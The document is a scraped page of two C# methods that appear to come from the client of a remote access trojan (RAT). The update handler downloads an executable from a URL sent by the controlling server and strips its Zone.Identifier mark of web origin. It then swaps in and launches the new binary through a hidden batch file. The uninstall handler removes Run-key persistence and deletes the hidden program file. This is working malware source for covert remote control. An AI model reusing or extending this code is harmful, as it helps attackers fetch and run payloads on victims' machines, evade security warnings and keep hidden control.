Example #1
0
        public static void HandleUpdate(Core.Packets.ServerPackets.Update command, Core.Client client)
        {
            // i dont like this updating... if anyone has a better idea feel free to edit it
            new Core.Packets.ClientPackets.Status("Downloading file...").Execute(client);

            new Thread(new ThreadStart(() =>
            {
                string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".exe"));

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadURL, tempFile);
                    }
                }
                catch
                {
                    new Core.Packets.ClientPackets.Status("Download failed!").Execute(client);
                    return;
                }

                new Core.Packets.ClientPackets.Status("Downloaded File!").Execute(client);

                new Core.Packets.ClientPackets.Status("Updating...").Execute(client);

                try
                {
                    DeleteFile(tempFile + ":Zone.Identifier");

                    var bytes = File.ReadAllBytes(tempFile);
                    if (bytes[0] != 'M' && bytes[1] != 'Z')
                    {
                        throw new Exception("no pe file");
                    }

                    string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".bat"));

                    string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
                                            "@echo off" + "\n" +
                                            "echo DONT CLOSE THIS WINDOW!" + "\n" +
                                            "ping -n 20 localhost > nul" + "\n" +
                                            "del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                            "move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                            "start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                            "del " + "\"" + filename + "\""
                                                :
                                            "@echo off" + "\n" +
                                            "echo DONT CLOSE THIS WINDOW!" + "\n" +
                                            "ping -n 20 localhost > nul" + "\n" +
                                            "del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                            "move " + "\"" + tempFile + "\"" + " " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                            "start \"\" " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                            "del " + "\"" + filename + "\""
                    ;

                    File.WriteAllText(filename, uninstallBatch);
                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    startInfo.WindowStyle      = ProcessWindowStyle.Hidden;
                    startInfo.CreateNoWindow   = true;
                    startInfo.UseShellExecute  = true;
                    startInfo.FileName         = filename;
                    Process.Start(startInfo);

                    SystemCore.Disconnect = true;
                    client.Disconnect();
                }
                catch
                {
                    DeleteFile(tempFile);
                    new Core.Packets.ClientPackets.Status("Update failed!").Execute(client);
                    return;
                }
            })).Start();
        }
Example #2
0
        public static void HandleUninstall(Core.Packets.ServerPackets.Uninstall command, Core.Client client)
        {
            new Core.Packets.ClientPackets.Status("Uninstalling... bye ;(").Execute(client);

            if (Settings.STARTUP)
            {
                if (SystemCore.AccountType == "Admin")
                {
                    try
                    {
                        Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key != null)
                        {
                            key.DeleteValue(Settings.STARTUPKEY, true);
                            key.Close();
                        }
                    }
                    catch
                    {
                        // try deleting from Registry.CurrentUser
                        Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key != null)
                        {
                            key.DeleteValue(Settings.STARTUPKEY, true);
                            key.Close();
                        }
                    }
                }
                else
                {
                    try
                    {
                        Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                        if (key != null)
                        {
                            key.DeleteValue(Settings.STARTUPKEY, true);
                            key.Close();
                        }
                    }
                    catch
                    { }
                }
            }

            string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Helper.GetRandomFilename(12, ".bat"));

            string uninstallBatch = (Settings.INSTALL && Settings.HIDEFILE) ?
                                    "@echo off" + "\n" +
                                    "echo DONT CLOSE THIS WINDOW!" + "\n" +
                                    "ping -n 20 localhost > nul" + "\n" +
                                    "del /A:H " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                    "del " + "\"" + filename + "\""
                                :
                                    "@echo off" + "\n" +
                                    "echo DONT CLOSE THIS WINDOW!" + "\n" +
                                    "ping -n 20 localhost > nul" + "\n" +
                                    "del " + "\"" + SystemCore.MyPath + "\"" + "\n" +
                                    "del " + "\"" + filename + "\""
            ;

            File.WriteAllText(filename, uninstallBatch);
            ProcessStartInfo startInfo = new ProcessStartInfo();

            startInfo.WindowStyle     = ProcessWindowStyle.Hidden;
            startInfo.CreateNoWindow  = true;
            startInfo.UseShellExecute = true;
            startInfo.FileName        = filename;
            Process.Start(startInfo);

            SystemCore.Disconnect = true;
            client.Disconnect();
        }